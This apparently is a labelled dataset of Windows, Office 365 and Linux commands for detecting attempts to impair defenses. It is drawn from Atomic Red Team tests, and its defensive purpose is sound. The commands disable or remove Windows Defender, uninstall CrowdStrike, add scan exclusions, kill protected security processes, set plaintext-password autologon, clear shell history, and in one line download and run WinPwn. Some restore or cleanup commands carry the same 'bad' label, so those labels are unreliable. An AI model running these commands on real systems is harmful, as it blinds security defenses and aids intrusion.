cowWhySo/permission-command-corpus huggingface dataset:
Command: sc start WinDefend >nul 2>&1 sc config WinDefend start=enabled >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Tamper with Windows Defender Command Prompt
Notes: Attempting to disable scheduled scanning and other parts of windows defender atp. These commands must be run as System, so they still fail as administrator.
However, adversaries do attempt to perform this action so monitoring for these command lines can help alert to other bad things going on. Upon execution, "Access Denied"
will be displayed twice and the WinDefend service status will be displayed.
Command: Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Tamper with Windows Defender Registry
Notes: Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be
grayed out and have no info.
Command: Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Tamper with Windows Defender Registry
Notes: Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be
grayed out and have no info.
Command: Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security" -Name "VBAWarnings" -ErrorAction Ignore | Out-Null Remove-Item -Path "HKCU:\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Disable Microsoft Office Security Features
Notes: Gorgon group may disable Office security features so that their code can run. Upon execution, an external document will not
show any warning before editing the document.


https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
Command: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Remove Windows Defender Definition Files
Notes: Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments.
On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the
command will say completed.

https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
Command: Stop-Service -Name #{service_name} Remove-Service -Name #{service_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Stop and Remove Arbitrary Security Windows Service
Notes: Beginning with Powershell 6.0, the Stop-Service cmdlet sends a stop message to the Windows Service Controller for each of the specified services. The Remove-Service cmdlet removes a Windows service in the registry and in the service database.
Command: if (Test-Path "#{falcond_path}") {. "#{falcond_path}" /repair /uninstall /quiet } else { Get-ChildItem -Path "C:\ProgramData\Package Cache" -Include "WindowsSensor.exe" -Recurse | % { $sig=$(Get-AuthenticodeSignature -FilePath $_.FullName); if ($sig.Status -eq "Valid" -and $sig.SignerCertificate.DnsNameList -eq "CrowdStrike, Inc.") { . "$_" /repair /uninstall /quiet; break;}}}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Uninstall Crowdstrike Falcon on Windows
Notes: Uninstall Crowdstrike Falcon. If the WindowsSensor.exe path is not provided as an argument we need to search for it. Since the executable is located in a folder named with a random guid we need to identify it before invoking the uninstaller.
Command: $excludedpath= "#{excluded_folder}" Add-MpPreference -ExclusionPath $excludedpath
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Tamper with Windows Defender Evade Scanning -Folder
Notes: Malware can exclude a specific path from being scanned and evading detection. 
Upon successul execution, the file provided should be on the list of excluded path. 
To check the exclusion list using poweshell (Get-MpPreference).ExclusionPath
Command: $excludedpath= "#{excluded_folder}" Remove-MpPreference -ExclusionPath $excludedpath
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Tamper with Windows Defender Evade Scanning -Folder
Notes: Malware can exclude a specific path from being scanned and evading detection. 
Upon successul execution, the file provided should be on the list of excluded path. 
To check the exclusion list using poweshell (Get-MpPreference).ExclusionPath
Command: $excludedExts= "#{excluded_exts}" Add-MpPreference -ExclusionExtension $excludedExts
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Tamper with Windows Defender Evade Scanning -Extension
Notes: Malware can exclude specific extensions from being scanned and evading detection. 
Upon successful execution, the extension(s) should be on the list of excluded extensions.
To check the exclusion list using poweshell  (Get-MpPreference).ExclusionExtension.
Command: $excludedExts= "#{excluded_exts}" Remove-MpPreference -ExclusionExtension $excludedExts -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Tamper with Windows Defender Evade Scanning -Extension
Notes: Malware can exclude specific extensions from being scanned and evading detection. 
Upon successful execution, the extension(s) should be on the list of excluded extensions.
To check the exclusion list using poweshell  (Get-MpPreference).ExclusionExtension.
Command: $excludedProcess = "#{excluded_process}" Add-MpPreference -ExclusionProcess $excludedProcess
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Tamper with Windows Defender Evade Scanning -Process
Notes: Malware can exclude specific processes from being scanned and evading detection.
Upon successful execution, the process(es) should be on the list of excluded processes. 
To check the exclusion list using poweshell  (Get-MpPreference).ExclusionProcess."
Command: $excludedProcess = "#{excluded_process}" Remove-MpPreference -ExclusionProcess $excludedProcess
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Tamper with Windows Defender Evade Scanning -Process
Notes: Malware can exclude specific processes from being scanned and evading detection.
Upon successful execution, the process(es) should be on the list of excluded processes. 
To check the exclusion list using poweshell  (Get-MpPreference).ExclusionProcess."
Command: $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds $test = Get-AntiPhishRule Disable-AntiPhishRule -Identity $test.Name -Confirm:$false Get-AntiPhishRule
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: office-365
ATT&CK tags: T1562.001
Source rule: office-365-Disable-AntiPhishRule
Notes: Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.
Command: if("#{password}" -ne "") { $secure_pwd = ("#{password}" + "") | ConvertTo-SecureString -AsPlainText -Force $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd Connect-ExchangeOnline -Credential $creds $test = Get-AntiPhishRule Enable-AntiPhishRule -Identity $test.Name -Confirm:$false Get-AntiPhishRule }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: office-365
ATT&CK tags: T1562.001
Source rule: office-365-Disable-AntiPhishRule
Notes: Using the Disable-AntiPhishRule cmdlet to disable antiphish rules in your office-365 organization.
Command: Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Disable Windows Defender with DISM
Notes: The following Atomic will attempt to disable Windows-Defender using the built in DISM.exe, Deployment Image Servicing and Management tool. 
DISM is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.
A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.
This method will remove Defender and it's package.
Command: Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run} Catch{} if(#{delete_defender_folder}){ $CommandToRun = rmdir "$env:programdata\Microsoft\Windows Defender" -Recurse Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\WindowsPowershell\v1.0\powershell.exe" /WindowState 0 /CommandLine "$CommandToRun" /StartDirectory "" /RunAs 8 /Run} Catch{} }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Disable Defender Using NirSoft AdvancedRun
Notes: Information on NirSoft AdvancedRun and its creators found here: http://www.nirsoft.net/utils/advanced_run.html
This Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign.
See https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3
Upon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk.
Command: Try {cmd /c "#{AdvancedRun_Location}" /EXEFilename "$env:systemroot\System32\sc.exe" /WindowState 0 /CommandLine "start WinDefend" /StartDirectory "" /RunAs 8 /Run} Catch{}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Disable Defender Using NirSoft AdvancedRun
Notes: Information on NirSoft AdvancedRun and its creators found here: http://www.nirsoft.net/utils/advanced_run.html
This Atomic will run AdvancedRun.exe with similar behavior identified during the WhisperGate campaign.
See https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3
Upon successful execution, AdvancedRun.exe will attempt to run and stop Defender, and optionally attempt to delete the Defender folder on disk.
Command: & "PathToAtomicsFolder\..\ExternalPayloads\Backstab64.exe" -k -n #{process_name}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Kill antimalware protected processes using Backstab
Notes: Backstab loads Process Explorer driver which is signed by Microsoft and use it to terminate running processes protected by antimalware software such as MsSense.exe or MsMpEng.exe, which is otherwise not possible to kill.
https://github.com/Yaxser/Backstab
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') inv-phantom -consoleoutput -noninteractive
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: WinPwn - Kill the event log services for stealth
Notes: Kill the event log services for stealth via function of WinPwn
Command: Set-MpPreference -drtm $True Set-MpPreference -dbm $True Set-MpPreference -dscrptsc $True Set-MpPreference -dbaf $True
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Tamper with Windows Defender ATP using Aliases - PowerShell
Notes: Attempting to disable scheduled scanning and other parts of Windows Defender ATP using set-MpPreference aliases. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.
Command: Set-MpPreference -drtm 0 Set-MpPreference -dbm 0 Set-MpPreference -dscrptsc 0 Set-MpPreference -dbaf 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Tamper with Windows Defender ATP using Aliases - PowerShell
Notes: Attempting to disable scheduled scanning and other parts of Windows Defender ATP using set-MpPreference aliases. Upon execution Virus and Threat Protection will show as disabled
in Windows settings.
Command: reg add "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: LockBit Black - Disable Privacy Settings Experience Using Registry -cmd
Notes: LockBit Black - Disable Privacy Settings Experience Using Registry
Command: reg delete "HKCU\Software\Policies\Microsoft\Windows\OOBE" /v DisablePrivacyExperience /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: LockBit Black - Disable Privacy Settings Experience Using Registry -cmd
Notes: LockBit Black - Disable Privacy Settings Experience Using Registry
Command: reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /t REG_DWORD /d 1 /f reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /t REG_SZ /d Administrator /f reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName /t REG_SZ /d contoso.com /f reg add "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /t REG_SZ /d password1 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: LockBit Black - Use Registry Editor to turn on automatic logon -cmd
Notes: LockBit Black - Use Registry Editor to turn on automatic logon
Command: reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AutoAdminLogon /f >nul 2>&1 reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName /f >nul 2>&1 reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName /f >nul 2>&1 reg delete "HKLM\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword /f >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: LockBit Black - Use Registry Editor to turn on automatic logon -cmd
Notes: LockBit Black - Use Registry Editor to turn on automatic logon
Command: New-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE" -Name DisablePrivacyExperience -PropertyType DWord -Value 1 -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell
Notes: LockBit Black - Disable Privacy Settings Experience Using Registry
Command: Remove-ItemProperty "HKCU:\Software\Policies\Microsoft\Windows\OOBE" -Name DisablePrivacyExperience -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: LockBit Black - Disable Privacy Settings Experience Using Registry -Powershell
Notes: LockBit Black - Disable Privacy Settings Experience Using Registry
Command: New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -Value Administrator -Force New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -Value contoso.com -Force New-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -Value password1 -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell
Notes: Lockbit Black - Use Registry Editor to turn on automatic logon
Command: Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AutoAdminLogon -Force -ErrorAction Ignore Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultUserName -Force -ErrorAction Ignore Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultDomainName -Force -ErrorAction Ignore Remove-ItemProperty "HKLM:\Software\Policies\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name DefaultPassword -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Lockbit Black - Use Registry Editor to turn on automatic logon -Powershell
Notes: Lockbit Black - Use Registry Editor to turn on automatic logon
Command: Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Gui" -NoRestart -ErrorAction Ignore Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-Features" -NoRestart -ErrorAction Ignore Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender" -NoRestart -ErrorAction Ignore Disable-WindowsOptionalFeature -Online -FeatureName "Windows-Defender-ApplicationGuard" -NoRestart -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Disable Windows Defender with PwSh Disable-WindowsOptionalFeature
Notes: The following Atomic will attempt to disable Windows-Defender using the built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool. 
Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.
A successful execution will not standard-out any details. Remove the quiet switch if verbosity is needed.
This method will remove Defender and it's packages.
Reference: https://docs.
Command: wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath=\"ATOMICREDTEAM\"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: WMIC Tamper with Windows Defender Evade Scanning Folder
Notes: The following Atomic will attempt to exclude a folder within Defender leveraging WMI
Reference: https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/
Command: wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Remove ExclusionPath=\"ATOMICREDTEAM\"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: WMIC Tamper with Windows Defender Evade Scanning Folder
Notes: The following Atomic will attempt to exclude a folder within Defender leveraging WMI
Reference: https://www.bleepingcomputer.com/news/security/gootkit-malware-bypasses-windows-defender-by-setting-path-exclusions/
Command: IF EXIST "%temp%\Windows_Defender_Scheduled_Scan.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f ) IF EXIST "%temp%\Windows_Defender_Cleanup.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f ) IF EXIST "%temp%\Windows_Defender_Verification.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /f ) IF EXIST "%temp%\Windows_Defender_Cache_Maintenance.xml" ( schtasks /delete /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f )
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Delete Windows Defender Scheduled Tasks
Notes: The following atomic test will delete the Windows Defender scheduled tasks.

[Reference](https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/)
Command: schtasks /create /xml "%temp%\Windows_Defender_Scheduled_Scan.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f schtasks /create /xml "%temp%\Windows_Defender_Cleanup.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f schtasks /create /xml "%temp%\Windows_Defender_Verification.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Verification" /f schtasks /create /xml "%temp%\Windows_Defender_Cache_Maintenance.xml" /tn "\Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: windows
ATT&CK tags: T1562.001
Source rule: Delete Windows Defender Scheduled Tasks
Notes: The following atomic test will delete the Windows Defender scheduled tasks.

[Reference](https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/)
Command: history -c
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: linux
ATT&CK tags: T1562.001
Source rule: Clear History
Notes: Clear Shell History. This technique only affect the bash shell application.
Command: set +o history
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: linux
ATT&CK tags: T1562.001
Source rule: Suspend History
Notes: suspend Shell History seen in Awfulshred wiper- https://unix.stackexchange.com/questions/10922/temporarily-suspend-bash-history-on-a-given-shell
Command: set -o history
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: linux
ATT&CK tags: T1562.001
Source rule: Suspend History
Notes: suspend Shell History seen in Awfulshred wiper- https://unix.stackexchange.com/questions/10922/temporarily-suspend-bash-history-on-a-given-shell
Command: echo 1> /proc/sys/kernel/sysrq echo b> /proc/sysrq-trigger
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: linux
ATT&CK tags: T1562.001
Source rule: Reboot Linux Host via Kernel System Request
Notes: reboot system via system request seen in Awfulshred wiper.
Command: free && echo 3 > /proc/sys/vm/drop_caches && free echo 3> /proc/sys/vm/drop_caches
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.001
Platform: linux
ATT&CK tags: T1562.001
Source rule: Clear Pagging Cache
Notes: clear pagging cache via system request. This is a temporary change in the system to clear paging cache. This technique seen in Awfulshred wiper as part
of its malicious payload on the compromised host. added reference link for this technique: https://www.tecmint.com/clear-ram-memory-cache-buffer-and-swap-space-on-linux/